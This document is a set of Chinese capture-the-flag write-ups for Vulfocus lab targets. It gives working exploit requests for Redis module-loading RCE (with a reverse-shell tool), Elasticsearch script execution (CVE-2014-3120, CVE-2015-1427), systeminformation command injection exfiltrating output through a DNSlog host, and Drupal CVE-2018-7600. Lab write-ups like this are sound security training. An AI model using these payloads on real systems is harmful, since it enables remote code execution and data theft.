cnvd-2019-21763

名称:

vulfocus/redis-cnvd_2019_21763 靶场解题

描述:

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意。so 文件,从而实现远程代码执行。

解题:flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1,vps
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
2,vps 执行
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
3,vps复制module.so到redis-rce
cp ../module.so ./
4,安装依赖环境
pip install -r requirements.txt
5,执行脚本
python3 redis-rce.py -r 靶场ip -p 靶场端口 -L vps -P vps端口 -f module.so
6,选择i
What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: i
7,
$ ls /tmp
flag-{bmhdae06302-7b71-412a-a1ad-25eb0b38197e}


ElasticsearchCVE-2014-3120

ElasticsearchCVE-2014-3120

名称: elasticsearch-cve_2014_3120

描述:

Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。

ElasticSearch 1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。

解题方法

1、需要es中至少存在一条数据

1
2
3
4
5
6
7
8
9
10
11
12
13
    POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Content-Length: 37

{
"name": "phithon"
}

2、执行查看flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
Content-Length: 425

{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}

![](vx_images/283962911236154.png =832x)

elasticsearchCVE-2015-1427

elasticsearchCVE-2015-1427

名称: elasticsearch 代码执行 (CVE-2015-1427)

描述:

CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。1.是一个沙盒绕过; 2.是一个Goovy代码执行漏洞。

解题方法

由于查询时至少要求es中有一条数据,所以发送如下数据包,增加一个数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /website/blog HTTP/1.1
Host: 123.58.236.76:49832
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.8) Gecko/20100101 Firefox/60.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

{
"name": "test"
}

发送获取flag的解题方法

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /_search?pretty  HTTP/1.1
Host: 123.58.236.76:49832
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.8) Gecko/20100101 Firefox/60.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls /tmp\").getText()"}}}

靶场环境CVE-2021-21315解题

名称:

在线靶场环境解题node.js 命令执行 (CVE-2021-21315)

描述:

Node.js-systeminformation是用于获取各种系统信息的Node.JS模块,它包含多种轻量级功能,可以检索详细的硬件和系统相关信息

npm团队发布安全公告,Node.js库中的systeminformation软件包中存在一个命令注入漏洞(CVE-2021-21315),其CVSSv3评分为7.8。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令。

影响版本:

Systeminformation < 5.3.1

靶场解题:flag

1,dnslog获取flag

1
2
3
4
http://IP:PORT/api/getServices?name[]=$(ping `ls /tmp`.190644d1.dns.1433.eu.org.)
或:
http://IP:PORT/api/getServices?name[]=$(ping%20`ls%20/tmp`.190644d1.dns.1433.eu.org.)

drupal-CVE-2018-7600-解题方法

drupal-CVE-2018-7600-解题方法

名称:

drupal 代码执行 (CVE-2018-7600)

描述:

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成

该漏洞的产生的根本原因在于Drupal对表单的渲染上,攻击者可以利用该漏洞攻击Drupal系统的网站,执行恶意代码,最后完全控制被攻击的网站

解题方法

1
2
3
4
5
6
7
8
9
10
11
12
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=ls /tmp

![](vx_images/448684110238897.png =880x)